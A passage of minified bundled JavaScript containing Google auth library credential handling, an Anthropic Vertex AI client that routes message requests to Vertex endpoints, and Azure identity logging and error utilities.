_AY.Compute(A));throw Error(cZ.GoogleAuthExceptionMessages.NO_ADC_FOUND)}async _checkIsGCE(){if(this.checkIsGCE===void 0)this.checkIsGCE=NhA.getGCPResidency()||await NhA.isAvailable();return this.checkIsGCE}async _tryGetApplicationCredentialsFromEnvironmentVariable(A){let K=process.env.GOOGLE_APPLICATION_CREDENTIALS||process.env.google_application_credentials;if(!K||K.length===0)return null;try{return this._getApplicationCredentialsFromFilePath(K,A)}catch(q){if(q instanceof Error)q.message=`Unable to read the credential file specified by the GOOGLE_APPLICATION_CREDENTIALS environment variable: ${q.message}`;throw q}}async _tryGetApplicationCredentialsFromWellKnownFile(A){let K=null;if(this._isWindows())K=process.env.APPDATA;else{let Y=process.env.HOME;if(Y)K=UJ6.join(Y,".config")}if(K){if(K=UJ6.join(K,"gcloud","application_default_credentials.json"),!vhA.existsSync(K))K=null}if(!K)return null;return await this._getApplicationCredentialsFromFilePath(K,A)}async _getApplicationCredentialsFromFilePath(A,K={}){if(!A||A.length===0)throw Error("The file path is invalid.");try{if(A=vhA.realpathSync(A),!vhA.lstatSync(A).isFile())throw Error()}catch(Y){if(Y instanceof Error)Y.message=`The file at ${A} does not exist, or it is not a file. ${Y.message}`;throw Y}let q=vhA.createReadStream(A);return this.fromStream(q,K)}fromImpersonatedJSON(A){var K,q,Y,z;if(!A)throw Error("Must pass in a JSON object containing an impersonated refresh token");if(A.type!==C_A.IMPERSONATED_ACCOUNT_TYPE)throw Error(`The incoming JSON object does not have the "${C_A.IMPERSONATED_ACCOUNT_TYPE}" type`);if(!A.source_credentials)throw Error("The incoming JSON object does not contain a source_credentials field");if(!A.service_account_impersonation_url)throw Error("The incoming JSON object does not contain a service_account_impersonation_url field");let w=this.fromJSON(A.source_credentials);if(((K=A.service_account_impersonation_url)===null||K===void 0?void 0:K.length)>256)throw RangeError(`Target principal is too long: ${A.service_account_impersonation_url}`);let H=(Y=(q=/(?<target>[^/]+):(generateAccessToken|generateIdToken)$/.exec(A.service_account_impersonation_url))===null||q===void 0?void 0:q.groups)===null||Y===void 0?void 0:Y.target;if(!H)throw RangeError(`Cannot extract target principal from ${A.service_account_impersonation_url}`);let J=(z=this.getAnyScopes())!==null&&z!==void 0?z:[];return new C_A.Impersonated({...A,sourceClient:w,targetPrincipal:H,targetScopes:Array.isArray(J)?J:[J]})}fromJSON(A,K={}){let q,Y=(0,ps4.originalOrCamelOptions)(K).get("universe_domain");if(A.type===Qs4.USER_REFRESH_ACCOUNT_TYPE)q=new Qs4.UserRefreshClient(K),q.fromJSON(A);else if(A.type===C_A.IMPERSONATED_ACCOUNT_TYPE)q=this.fromImpersonatedJSON(A);else if(A.type===ThA.EXTERNAL_ACCOUNT_TYPE)q=WAY.ExternalAccountClient.fromJSON(A,K),q.scopes=this.getAnyScopes();else if(A.type===Us4.EXTERNAL_ACCOUNT_AUTHORIZED_USER_TYPE)q=new Us4.ExternalAccountAuthorizedUserClient(A,K);else K.scopes=this.scopes,q=new k_A.JWT(K),this.setGapicJWTValues(q),q.fromJSON(A);if(Y)q.universeDomain=Y;return q}_cacheClientFromJSON(A,K){let q=this.fromJSON(A,K);return this.jsonContent=A,this.cachedCredential=q,q}fromStream(A,K={},q){let Y={};if(typeof K==="function")q=K;else Y=K;if(q)this.fromStreamAsync(A,Y).then((z)=>q(null,z),q);else return this.fromStreamAsync(A,Y)}fromStreamAsync(A,K){return new Promise((q,Y)=>{if(!A)throw Error("Must pass in a stream containing the Google auth settings.");let z=[];A.setEncoding("utf8").on("error",Y).on("data",(w)=>z.push(w)).on("end",()=>{try{try{let w=JSON.parse(z.join("")),H=this._cacheClientFromJSON(w,K);return q(H)}catch(w){if(!this.keyFilename)throw w;let H=new k_A.JWT({...this.clientOptions,keyFile:this.keyFilename});return this.cachedCredential=H,this.setGapicJWTValues(H),q(H)}}catch(w){return Y(w)}})})}fromAPIKey(A,K={}){return new k_A.JWT({...K,apiKey:A})}_isWindows(){let A=OAY.platform();if(A&&A.length>=3){if(A.substring(0,3).toLowerCase()==="win")return!0}return!1}async getDefaultServiceProjectId(){return new Promise((A)=>{(0,JAY.exec)("gcloud config config-helper --format json",(K,q)=>{if(!K&&q)try{let Y=JSON.parse(q).configuration.properties.core.project;A(Y);return}catch(Y){}A(null)})})}getProductionProjectId(){return process.env.GCLOUD_PROJECT||process.env.GOOGLE_CLOUD_PROJECT||process.env.gcloud_project||process.env.google_cloud_project}async getFileProjectId(){if(this.cachedCredential)return this.cachedCredential.projectId;if(this.keyFilename){let K=await this.getClient();if(K&&K.projectId)return K.projectId}let A=await this._tryGetApplicationCredentialsFromEnvironmentVariable();if(A)return A.projectId;else return null}async getExternalAccountClientProjectId(){if(!this.jsonContent||this.jsonContent.type!==ThA.EXTERNAL_ACCOUNT_TYPE)return null;return await(await this.getClient()).getProjectId()}async getGCEProjectId(){try{return await NhA.project("project-id")}catch(A){return null}}getCredentials(A){if(A)this.getCredentialsAsync().then((K)=>A(null,K),A);else return this.getCredentialsAsync()}async getCredentialsAsync(){let A=await this.getClient();if(A instanceof C_A.Impersonated)return{client_email:A.getTargetPrincipal()};if(A instanceof ThA.BaseExternalAccountClient){let K=A.getServiceAccountEmail();if(K)return{client_email:K,universe_domain:A.universeDomain}}if(this.jsonContent)return{client_email:this.jsonContent.client_email,private_key:this.jsonContent.private_key,universe_domain:this.jsonContent.universe_domain};if(await this._checkIsGCE()){let[K,q]=await Promise.all([NhA.instance("service-accounts/default/email"),this.getUniverseDomain()]);return{client_email:K,universe_domain:q}}throw Error(cZ.GoogleAuthExceptionMessages.NO_CREDENTIALS_FOUND)}async getClient(){if(this.cachedCredential)return this.cachedCredential;Fs4(this,L_A,Wo(this,L_A,"f")||Wo(this,Do,"m",ds4).call(this),"f");try{return await Wo(this,L_A,"f")}finally{Fs4(this,L_A,null,"f")}}async getIdTokenClient(A){let K=await this.getClient();if(!("fetchIdToken"in K))throw Error("Cannot fetch ID token in this environment, use GCE or set the GOOGLE_APPLICATION_CREDENTIALS environment variable to a service account credentials JSON file.");return new GAY.IdTokenClient({targetAudience:A,idTokenProvider:K})}async getAccessToken(){return(await(await this.getClient()).getAccessToken()).token}async getRequestHeaders(A){return(await this.getClient()).getRequestHeaders(A)}async authorizeRequest(A){A=A||{};let K=A.url||A.uri,Y=await(await this.getClient()).getRequestHeaders(K);return A.headers=Object.assign(A.headers||{},Y),A}async request(A){return(await this.getClient()).request(A)}getEnv(){return(0,ZAY.getEnv)()}async sign(A,K){let q=await this.getClient(),Y=await this.getUniverseDomain();if(K=K||`https://iamcredentials.${Y}/v1/projects/-/serviceAccounts/`,q instanceof C_A.Impersonated)return(await q.sign(A)).signedBlob;let z=(0,XAY.createCrypto)();if(q instanceof k_A.JWT&&q.key)return await z.sign(q.key,A);let w=await this.getCredentials();if(!w.client_email)throw Error("Cannot sign data without `client_email`.");return this.signBlob(z,w.client_email,A,K)}async signBlob(A,K,q,Y){let z=new URL(Y+`${K}:signBlob`);return(await this.request({method:"POST",url:z.href,data:{payload:A.encodeBase64StringUtf8(q)},retry:!0,retryConfig:{httpMethodsToRetry:["POST"]}})).data.signedBlob}}cZ.GoogleAuth=pJ6;L_A=new WeakMap,Do=new WeakSet,R_A=async function(K,q=process.env.GOOGLE_CLOUD_QUOTA_PROJECT||null){let Y=await this.getProjectIdOptional();if(q)K.quotaProjectId=q;return this.cachedCredential=K,{credential:K,projectId:Y}},ds4=async function(){if(this.jsonContent)return this._cacheClientFromJSON(this.jsonContent,this.clientOptions);else if(this.keyFilename){let K=UJ6.resolve(this.keyFilename),q=vhA.createReadStream(K);return await this.fromStreamAsync(q,this.clientOptions)}else if(this.apiKey){let K=await this.fromAPIKey(this.apiKey,this.clientOptions);K.scopes=this.scopes;let{credential:q}=await Wo(this,Do,"m",R_A).call(this,K);return q}else{let{credential:K}=await this.getApplicationDefaultAsync(this.clientOptions);return K}};pJ6.DefaultTransporter=$AY.DefaultTransporter});var rs4=v((is4)=>{Object.defineProperty(is4,"__esModule",{value:!0});is4.IAMAuth=void 0;class ls4{constructor(A,K){this.selector=A,this.token=K,this.selector=A,this.token=K}getRequestHeaders(){return{"x-goog-iam-authority-selector":this.selector,"x-goog-iam-authorization-token":this.token}}}is4.IAMAuth=ls4});var ts4=v((as4)=>{Object.defineProperty(as4,"__esModule",{value:!0});as4.DownscopedClient=as4.EXPIRATION_TIME_OFFSET=as4.MAX_ACCESS_BOUNDARY_RULES_COUNT=void 0;var DAY=CA("stream"),jAY=Du(),MAY=_J6(),PAY="urn:ietf:params:oauth:grant-type:token-exchange",VAY="urn:ietf:params:oauth:token-type:access_token",fAY="urn:ietf:params:oauth:token-type:access_token";as4.MAX_ACCESS_BOUNDARY_RULES_COUNT=10;as4.EXPIRATION_TIME_OFFSET=300000;class os4 extends jAY.AuthClient{constructor(A,K,q,Y){super({...q,quotaProjectId:Y});if(this.authClient=A,this.credentialAccessBoundary=K,K.accessBoundary.accessBoundaryRules.length===0)throw Error("At least one access boundary rule needs to be defined.");else if(K.accessBoundary.accessBoundaryRules.length>as4.MAX_ACCESS_BOUNDARY_RULES_COUNT)throw Error(`The provided access boundary has more than ${as4.MAX_ACCESS_BOUNDARY_RULES_COUNT} access boundary rules.`);for(let z of K.accessBoundary.accessBoundaryRules)if(z.availablePermissions.length===0)throw Error("At least one permission should be defined in access boundary rules.");this.stsCredential=new MAY.StsCredentials(`https://sts.${this.universeDomain}/v1/token`),this.cachedDownscopedAccessToken=null}setCredentials(A){if(!A.expiry_date)throw Error("The access token expiry_date field is missing in the provided credentials.");super.setCredentials(A),this.cachedDownscopedAccessToken=A}async getAccessToken(){if(!this.cachedDownscopedAccessToken||this.isExpired(this.cachedDownscopedAccessToken))await this.refreshAccessTokenAsync();return{token:this.cachedDownscopedAccessToken.access_token,expirationTime:this.cachedDownscopedAccessToken.expiry_date,res:this.cachedDownscopedAccessToken.res}}async getRequestHeaders(){let K={Authorization:`Bearer ${(await this.getAccessToken()).token}`};return this.addSharedMetadataHeaders(K)}request(A,K){if(K)this.requestAsync(A).then((q)=>K(null,q),(q)=>{return K(q,q.response)});else return this.requestAsync(A)}async requestAsync(A,K=!1){let q;try{let Y=await this.getRequestHeaders();if(A.headers=A.headers||{},Y&&Y["x-goog-user-project"])A.headers["x-goog-user-project"]=Y["x-goog-user-project"];if(Y&&Y.Authorization)A.headers.Authorization=Y.Authorization;q=await this.transporter.request(A)}catch(Y){let z=Y.response;if(z){let w=z.status,H=z.config.data instanceof DAY.Readable;if(!K&&(w===401||w===403)&&!H&&this.forceRefreshOnFailure)return await this.refreshAccessTokenAsync(),await this.requestAsync(A,!0)}throw Y}return q}async refreshAccessTokenAsync(){var A;let K=(await this.authClient.getAccessToken()).token,q={grantType:PAY,requestedTokenType:VAY,subjectToken:K,subjectTokenType:fAY},Y=await this.stsCredential.exchangeToken(q,void 0,this.credentialAccessBoundary),z=((A=this.authClient.credentials)===null||A===void 0?void 0:A.expiry_date)||null,w=Y.expires_in?new Date().getTime()+Y.expires_in*1000:z;return this.cachedDownscopedAccessToken={access_token:Y.access_token,expiry_date:w,res:Y.res},this.credentials={},Object.assign(this.credentials,this.cachedDownscopedAccessToken),delete this.credentials.res,this.emit("tokens",{refresh_token:null,expiry_date:this.cachedDownscopedAccessToken.expiry_date,access_token:this.cachedDownscopedAccessToken.access_token,token_type:"Bearer",id_token:null}),this.cachedDownscopedAccessToken}isExpired(A){let K=new Date().getTime();return A.expiry_date?K>=A.expiry_date-this.eagerRefreshThresholdMillis:!1}}as4.DownscopedClient=os4});var Kt4=v((es4)=>{Object.defineProperty(es4,"__esModule",{value:!0});es4.PassThroughClient=void 0;var TAY=Du();class cJ6 extends TAY.AuthClient{async request(A){return this.transporter.request(A)}async getAccessToken(){return{}}async getRequestHeaders(){return{}}}es4.PassThroughClient=cJ6;var vAY=new cJ6;vAY.getAccessToken()});var iJ6=v((Mw)=>{Object.defineProperty(Mw,"__esModule",{value:!0});Mw.GoogleAuth=Mw.auth=Mw.DefaultTransporter=Mw.PassThroughClient=Mw.ExecutableError=Mw.PluggableAuthClient=Mw.DownscopedClient=Mw.BaseExternalAccountClient=Mw.ExternalAccountClient=Mw.IdentityPoolClient=Mw.AwsRequestSigner=Mw.AwsClient=Mw.UserRefreshClient=Mw.LoginTicket=Mw.ClientAuthentication=Mw.OAuth2Client=Mw.CodeChallengeMethod=Mw.Impersonated=Mw.JWT=Mw.JWTAccess=Mw.IdTokenClient=Mw.IAMAuth=Mw.GCPEnv=Mw.Compute=Mw.DEFAULT_UNIVERSE=Mw.AuthClient=Mw.gaxios=Mw.gcpMetadata=void 0;var qt4=cs4();Object.defineProperty(Mw,"GoogleAuth",{enumerable:!0,get:function(){return qt4.GoogleAuth}});Mw.gcpMetadata=$hA();Mw.gaxios=oy();var Yt4=Du();Object.defineProperty(Mw,"AuthClient",{enumerable:!0,get:function(){return Yt4.AuthClient}});Object.defineProperty(Mw,"DEFAULT_UNIVERSE",{enumerable:!0,get:function(){return Yt4.DEFAULT_UNIVERSE}});var EAY=UH6();Object.defineProperty(Mw,"Compute",{enumerable:!0,get:function(){return EAY.Compute}});var kAY=dH6();Object.defineProperty(Mw,"GCPEnv",{enumerable:!0,get:function(){return kAY.GCPEnv}});var CAY=rs4();Object.defineProperty(Mw,"IAMAuth",{enumerable:!0,get:function(){return CAY.IAMAuth}});var LAY=pH6();Object.defineProperty(Mw,"IdTokenClient",{enumerable:!0,get:function(){return LAY.IdTokenClient}});var RAY=zJ6();Object.defineProperty(Mw,"JWTAccess",{enumerable:!0,get:function(){return RAY.JWTAccess}});var yAY=HJ6();Object.defineProperty(Mw,"JWT",{enumerable:!0,get:function(){return yAY.JWT}});var IAY=OJ6();Object.defineProperty(Mw,"Impersonated",{enumerable:!0,get:function(){return IAY.Impersonated}});var lJ6=B7A();Object.defineProperty(Mw,"CodeChallengeMethod",{enumerable:!0,get:function(){return lJ6.CodeChallengeMethod}});Object.defineProperty(Mw,"OAuth2Client",{enumerable:!0,get:function(){return lJ6.OAuth2Client}});Object.defineProperty(Mw,"ClientAuthentication",{enumerable:!0,get:function(){return lJ6.ClientAuthentication}});var SAY=gH6();Object.defineProperty(Mw,"LoginTicket",{enumerable:!0,get:function(){return SAY.LoginTicket}});var hAY=JJ6();Object.defineProperty(Mw,"UserRefreshClient",{enumerable:!0,get:function(){return hAY.UserRefreshClient}});var bAY=CJ6();Object.defineProperty(Mw,"AwsClient",{enumerable:!0,get:function(){return bAY.AwsClient}});var xAY=vJ6();Object.defineProperty(Mw,"AwsRequestSigner",{enumerable:!0,get:function(){return xAY.AwsRequestSigner}});var uAY=TJ6();Object.defineProperty(Mw,"IdentityPoolClient",{enumerable:!0,get:function(){return uAY.IdentityPoolClient}});var BAY=gJ6();Object.defineProperty(Mw,"ExternalAccountClient",{enumerable:!0,get:function(){return BAY.ExternalAccountClient}});var mAY=Zo();Object.defineProperty(Mw,"BaseExternalAccountClient",{enumerable:!0,get:function(){return mAY.BaseExternalAccountClient}});var gAY=ts4();Object.defineProperty(Mw,"DownscopedClient",{enumerable:!0,get:function(){return gAY.DownscopedClient}});var zt4=Ww1();Object.defineProperty(Mw,"PluggableAuthClient",{enumerable:!0,get:function(){return zt4.PluggableAuthClient}});Object.defineProperty(Mw,"ExecutableError",{enumerable:!0,get:function(){return zt4.ExecutableError}});var FAY=Kt4();Object.defineProperty(Mw,"PassThroughClient",{enumerable:!0,get:function(){return FAY.PassThroughClient}});var QAY=GhA();Object.defineProperty(Mw,"DefaultTransporter",{enumerable:!0,get:function(){return QAY.DefaultTransporter}});var UAY=new qt4.GoogleAuth;Mw.auth=UAY});var Dw1=(A)=>{if(typeof globalThis.process<"u")return globalThis.process.env?.[A]?.trim()??void 0;if(typeof globalThis.Deno<"u")return globalThis.Deno.env?.get?.(A)?.trim();return};var wt4=k(()=>{rj()});function jw1(A){return A!=null&&typeof A==="object"&&!Array.isArray(A)}var nJ6=(A)=>(nJ6=Array.isArray,nJ6(A)),rJ6;var oJ6=k(()=>{wt4();rJ6=nJ6});function*iAY(A){if(!A)return;if(Ht4 in A){let{values:Y,nulls:z}=A;yield*Y.entries();for(let w of z)yield[w,null];return}let K=!1,q;if(A instanceof Headers)q=A.entries();else if(rJ6(A))q=A;else K=!0,q=Object.entries(A??{});for(let Y of q){let z=Y[0];if(typeof z!=="string")throw TypeError("expected header name to be a string");let w=rJ6(Y[1])?Y[1]:[Y[1]],H=!1;for(let J of w){if(J===void 0)continue;if(K&&!H)H=!0,yield[z,null];yield[z,J]}}}var Ht4,Jt4=(A)=>{let K=new Headers,q=new Set;for(let Y of A){let z=new Set;for(let[w,H]of iAY(Y)){let J=w.toLowerCase();if(!z.has(J))K.delete(w),z.add(J);if(H===null)K.delete(w),q.add(J);else K.append(w,H),q.delete(J)}}return{[Ht4]:!0,values:K,nulls:q}};var Ot4=k(()=>{oJ6();Ht4=Symbol.for("brand.privateNullableHeaders")});function oAY(A){let K=new aN(A);return delete K.batches,K}function aAY(A){let K=new $D(A);return delete K.messages.batches,K}var Xt4,nAY="vertex-2023-10-16",rAY,Mw1;var aJ6=k(()=>{LF();CkA();oJ6();Ot4();LF();Xt4=o(iJ6(),1),rAY=new Set(["/v1/messages","/v1/messages?beta=true"]);Mw1=class Mw1 extends $z{constructor({baseURL:A=Dw1("ANTHROPIC_VERTEX_BASE_URL"),region:K=Dw1("CLOUD_ML_REGION")??null,projectId:q=Dw1("ANTHROPIC_VERTEX_PROJECT_ID")??null,...Y}={}){if(!K)throw Error("No region was given. The client should be instantiated with the `region` option or the `CLOUD_ML_REGION` environment variable should be set.");super({baseURL:A||(K==="global"?"https://aiplatform.googleapis.com/v1":`https://${K}-aiplatform.googleapis.com/v1`),...Y});if(this.messages=oAY(this),this.beta=aAY(this),this.region=K,this.projectId=q,this.accessToken=Y.accessToken??null,Y.authClient&&Y.googleAuth)throw Error("You cannot provide both `authClient` and `googleAuth`. Please provide only one of them.");else if(Y.authClient)this._authClientPromise=Promise.resolve(Y.authClient);else this._auth=Y.googleAuth??new Xt4.GoogleAuth({scopes:"https://www.googleapis.com/auth/cloud-platform"}),this._authClientPromise=this._auth.getClient()}validateHeaders(){}async prepareOptions(A){let K=await this._authClientPromise,q=await K.getRequestHeaders(),Y=K.projectId??q["x-goog-user-project"];if(!this.projectId&&Y)this.projectId=Y;A.headers=Jt4([q,A.headers])}async buildRequest(A){if(jw1(A.body))A.body={...A.body};if(jw1(A.body)){if(!A.body.anthropic_version)A.body.anthropic_version=nAY}if(rAY.has(A.path)&&A.method==="post"){if(!this.projectId)throw Error("No projectId was given and it could not be resolved from credentials. The client should be instantiated with the `projectId` option or the `ANTHROPIC_VERTEX_PROJECT_ID` environment variable should be set.");if(!jw1(A.body))throw Error("Expected request body to be an object for post /v1/messages");let K=A.body.model;A.body.model=void 0;let Y=A.body.stream??!1?"streamRawPredict":"rawPredict";A.path=`/projects/${this.projectId}/locations/${this.region}/publishers/anthropic/models/${K}:${Y}`}if(A.path==="/v1/messages/count_tokens"||A.path=="/v1/messages/count_tokens?beta=true"&&A.method==="post"){if(!this.projectId)throw Error("No projectId was given and it could not be resolved from credentials. The client should be instantiated with the `projectId` option or the `ANTHROPIC_VERTEX_PROJECT_ID` environment variable should be set.");A.path=`/projects/${this.projectId}/locations/${this.region}/publishers/anthropic/models/count-tokens:rawPredict`}return super.buildRequest(A)}}});var $t4=k(()=>{aJ6();aJ6()});var Pw1="4.10.1",tJ6="04b07795-8ddb-461a-bbee-02f9e1bf7b46",_t4="common",sJ6,EhA,Gt4="login.microsoftonline.com",Zt4,Wt4="cae",Dt4="nocae",jt4="msal.cache";var y_A=k(()=>{(function(A){A.AzureChina="https://login.chinacloudapi.cn",A.AzureGermany="https://login.microsoftonline.de",A.AzureGovernment="https://login.microsoftonline.us",A.AzurePublicCloud="https://login.microsoftonline.com"})(sJ6||(sJ6={}));EhA=sJ6.AzurePublicCloud,Zt4=["*"]});function sAY(A){var K,q,Y,z,w,H,J;let O={cache:{},broker:{isEnabled:(q=(K=A.brokerOptions)===null||K===void 0?void 0:K.enabled)!==null&&q!==void 0?q:!1,enableMsaPassthrough:(z=(Y=A.brokerOptions)===null||Y===void 0?void 0:Y.legacyEnableMsaPassthrough)!==null&&z!==void 0?z:!1,parentWindowHandle:(w=A.brokerOptions)===null||w===void 0?void 0:w.parentWindowHandle}};if((H=A.tokenCachePersistenceOptions)===null||H===void 0?void 0:H.enabled){if(eJ6===void 0)throw Error(["Persistent token caching was requested, but no persistence provider was configured.","You must install the identity-cache-persistence plugin package (`npm install --save @azure/identity-cache-persistence`)","and enable it by importing `useIdentityPlugin` from `@azure/identity` and calling","`useIdentityPlugin(cachePersistencePlugin)` before using `tokenCachePersistenceOptions`."].join(" "));let X=A.tokenCachePersistenceOptions.name||jt4;O.cache.cachePlugin=eJ6(Object.assign({name:`${X}.${Dt4}`},A.tokenCachePersistenceOptions)),O.cache.cachePluginCae=eJ6(Object.assign({name:`${X}.${Wt4}`},A.tokenCachePersistenceOptions))}if((J=A.brokerOptions)===null||J===void 0?void 0:J.enabled){if(Mt4===void 0)throw Error(["Broker for WAM was requested to be enabled, but no native broker was configured.","You must install the identity-broker plugin package (`npm install --save @azure/identity-broker`)","and enable it by importing `useIdentityPlugin` from `@azure/identity` and calling","`useIdentityPlugin(createNativeBrokerPlugin())` before using `enableBroker`."].join(" "));O.broker.nativeBrokerPlugin=Mt4.broker}return O}var eJ6=void 0,Mt4=void 0,Pt4;var Vt4=k(()=>{y_A();Pt4={generatePluginConfiguration:sAY}});import{EOL as tAY}from"node:os";import eAY from"node:util";import*as ft4 from"node:process";function Nt4(A,...K){ft4.stderr.write(`${eAY.format(A,...K)}${tAY}`)}var Tt4=()=>{};function qO6(A){Et4=A,AO6=[],KO6=[];let K=/\*/g,q=A.split(",").map((Y)=>Y.trim().replace(K,".*?"));for(let Y of q)if(Y.startsWith("-"))KO6.push(new RegExp(`^${Y.substr(1)}$`));else AO6.push(new RegExp(`^${Y}$`));for(let Y of Vw1)Y.enabled=YO6(Y.namespace)}function YO6(A){if(A.endsWith("*"))return!0;for(let K of KO6)if(K.test(A))return!1;for(let K of AO6)if(K.test(A))return!0;return!1}function A1Y(){let A=Et4||"";return qO6(""),A}function Ct4(A){let K=Object.assign(q,{enabled:YO6(A),destroy:K1Y,log:kt4.log,namespace:A,extend:q1Y});function q(...Y){if(!K.enabled)return;if(Y.length>0)Y[0]=`${A} ${Y[0]}`;K.log(...Y)}return Vw1.push(K),K}function K1Y(){let A=Vw1.indexOf(this);if(A>=0)return Vw1.splice(A,1),!0;return!1}function q1Y(A){let K=Ct4(`${this.namespace}:${A}`);return K.log=this.log,K}var vt4,Et4,AO6,KO6,Vw1,kt4,I_A;var Lt4=k(()=>{Tt4();vt4=typeof process<"u"&&process.env&&process.env.DEBUG||void 0,AO6=[],KO6=[],Vw1=[];if(vt4)qO6(vt4);kt4=Object.assign((A)=>{return Ct4(A)},{enable:qO6,enabled:YO6,disable:A1Y,log:Nt4});I_A=kt4});function yt4(A,K){K.log=(...q)=>{A.log(...q)}}function It4(A){return zO6.includes(A)}function fw1(A){let K=new Set,q=typeof process<"u"&&process.env&&process.env[A.logLevelEnvVarName]||void 0,Y,z=I_A(A.namespace);z.log=(...$)=>{I_A.log(...$)};function w($){if($&&!It4($))throw Error(`Unknown log level '${$}'. Acceptable values: ${zO6.join(",")}`);Y=$;let _=[];for(let G of K)if(H(G))_.push(G.namespace);I_A.enable(_.join(","))}if(q)if(It4(q))w(q);else console.error(`${A.logLevelEnvVarName} set to unknown log level '${q}'; logging is not enabled. Acceptable values: ${zO6.join(", ")}.`);function H($){return Boolean(Y&&Rt4[$.level]<=Rt4[Y])}function J($,_){let G=Object.assign($.extend(_),{level:_});if(yt4($,G),H(G)){let Z=I_A.disable();I_A.enable(Z+","+G.namespace)}return K.add(G),G}function O(){return Y}function X($){let _=z.extend($);return yt4(z,_),{error:J(_,"error"),warning:J(_,"warning"),info:J(_,"info"),verbose:J(_,"verbose")}}return{setLogLevel:w,getLogLevel:O,createClientLogger:X,logger:z}}function Nw1(A){return St4.createClientLogger(A)}var zO6,Rt4,St4,ZEw;var Tw1=k(()=>{Lt4();zO6=["verbose","info","warning","error"],Rt4={verbose:400,info:300,warning:200,error:100};St4=fw1({logLevelEnvVarName:"TYPESPEC_RUNTIME_LOG_LEVEL",namespace:"typeSpecRuntime"}),ZEw=St4.logger});var ht4=k(()=>{Tw1()});function vw1(){return wO6.getLogLevel()}function jo(A){return wO6.createClientLogger(A)}var wO6,PEw;var g7A=k(()=>{ht4();wO6=fw1({logLevelEnvVarName:"AZURE_LOG_LEVEL",namespace:"azure"}),PEw=wO6.logger});function Ew1(A){return A.reduce((K,q)=>{if(process.env[q])K.assigned.push(q);else K.missing.push(q);return K},{missing:[],assigned:[]})}function VG(A){return`SUCCESS. Scopes: ${Array.isArray(A)?A.join(", "):A}.`}function Q2(A,K){let q="ERROR.";if(A===null||A===void 0?void 0:A.length)q+=` Scopes: ${Array.isArray(A)?A.join(", "):A}.`;return`${q} Error message: ${typeof K==="string"?K:K.message}.`}function bt4(A,K,q=ZC){let Y=K?`${K.fullTitle} ${A}`:A;function z(O){q.info(`${Y} =>`,O)}function w(O){q.warning(`${Y} =>`,O)}function H(O){q.verbose(`${Y} =>`,O)}function J(O){q.error(`${Y} =>`,O)}return{title:A,fullTitle:Y,info:z,warning:w,verbose:H,error:J}}function tY(A,K=ZC){let q=bt4(A,void 0,K);return Object.assign(Object.assign({},q),{parent:K,getToken:bt4("=> getToken()",q,K)})}var ZC;var YX=k(()=>{g7A();ZC=jo("identity")});function Y1Y(A){return A&&typeof A.error==="string"&&typeof A.error_description==="string"}function xt4(A){return{error:A.error,errorDescription:A.error_description,correlationId:A.correlation_id,errorCodes:A.error_codes,timestamp:A.timestamp,traceId:A.trace_id}}var z1Y="CredentialUnavailableError",wq,HO6="AuthenticationError",khA,w1Y="AggregateAuthenticationError",JO6,PU;var TM=k(()=>{wq=class wq extends Error{constructor(A,K){super(A,K);this.name=z1Y}};khA=class khA extends Error{constructor(A,K,q){let Y={error:"unknown",errorDescription:"An unknown error occurred and no additional details are available."};if(Y1Y(K))Y=xt4(K);else if(typeof K==="string")try{let z=JSON.parse(K);Y=xt4(z)}catch(z){if(A===400)Y={error:"invalid_request",errorDescription:`The service indicated that the request was invalid. ${K}`};else Y={error:"unknown_error",errorDescription:`An unknown error has occurred. Response body: ${K}`}}else Y={error:"unknown_error",errorDescription:"An unknown error occurred and no additional details are available."};super(`${Y.error} Status code: ${A} More details: ${Y.errorDescription},`,q);this.statusCode=A,this.errorResponse=Y,this.name=HO6}};JO6=class JO6 extends Error{constructor(A,K){let q=A.join(` `);super(`${K} ${q}`);this.errors=A,this.name=w1Y}};PU=class PU extends Error{constructor(A){super(A.message,A.cause?{cause:A.cause}:void 0);this.scopes=A.scopes,this.getTokenOptions=A.getTokenOptions,this.name="AuthenticationRequiredError"}}});function H1Y(A){return`The current credential is not configured to acquire tokens for tenant ${A}. To enable acquiring tokens for this tenant add it to the AdditionallyAllowedTenants on the credential options, or add "*" to AdditionallyAllowedTenants to allow acquiring tokens for any tenant.`}function vM(A,K,q=[],Y){var z;let w;if(process.env.AZURE_IDENTITY_DISABLE_MULTITENANTAUTH)w=A;else if(A==="adfs")w=A;else w=(z=K===null||K===void 0?void 0:K.tenantId)!==null&&z!==void 0?z:A;if(A&&w!==A&&!q.includes("*")&&!q.some((H)=>H.localeCompare(w)===0)){let H=H1Y(w);throw Y===null||Y===void 0||Y.info(H),new wq(H)}return w}var ut4=k(()=>{TM()});function iV(A,K){if(!K.match(/^[0-9a-zA-Z-.]+$/)){let q=Error("Invalid tenant id provided. You can locate your tenant id by following the instructions listed here: https://learn.microsoft.com/partner-center/find-ids-and-domain-names.");throw A.info(Q2("",q)),q}}function Bt4(A,K,q){if(K)return iV(A,K),K;if(!q)q=tJ6;if(q!==tJ6)return"common";return"organizations"}function nV(A){if(!A||A.length===0)return[];if(A.includes("*"))return Zt4;return A}var qI=k(()=>{y_A();YX();ut4()});var OO6="$",kw1="_";function J1Y(A,K){return K!=="Composite"&&K!=="Dictionary"&&(typeof A==="string"||typeof A==="number"||typeof A==="boolean"||(K===null||K===void 0?void 0:K.match(/^(Date|DateTime|DateTimeRfc1123|UnixTime|ByteArray|Base64Url)$/i))!==null||A===void 0||A===null)}function O1Y(A){let K=Object.assign(Object.assign({},A.headers),A.body);if(A.hasNullableType&&Object.getOwnPropertyNames(K).length===0)return A.shouldWrapBody?{body:null}:null;else return A.shouldWrapBody?Object.assign(Object.assign({},A.headers),{body:A.body}):K}function XO6(A,K){var q,Y;let z=A.parsedHeaders;if(A.request.method==="HEAD")return Object.assign(Object.assign({},z),{body:A.parsedBody});let w=K&&K.bodyMapper,H=Boolean(w===null||w===void 0?void 0:w.nullable),J=w===null||w===void 0?void 0:w.type.name;if(J==="Stream")return Object.assign(Object.assign({},z),{blobBody:A.blobBody,readableStreamBody:A.readableStreamBody});let O=J==="Composite"&&w.type.modelProperties||{},X=Object.keys(O).some(($)=>O[$].serializedName==="");if(J==="Sequence"||X){let $=(q=A.parsedBody)!==null&&q!==void 0?q:[];for(let _ of Object.keys(O))if(O[_].serializedName)$[_]=(Y=A.parsedBody)===null||Y===void 0?void 0:Y[_];if(z)for(let _ of Object.keys(z))$[_]=z[_];return H&&!A.parsedBody&&!z&&Object.getOwnPropertyNames(O).length===0?null:$}return O1Y({body:A.parsedBody,headers:z,hasNullableType:H,shouldWrapBody:J1Y(A.parsedBody,J)})}var mt4=()=>{};var VU;var 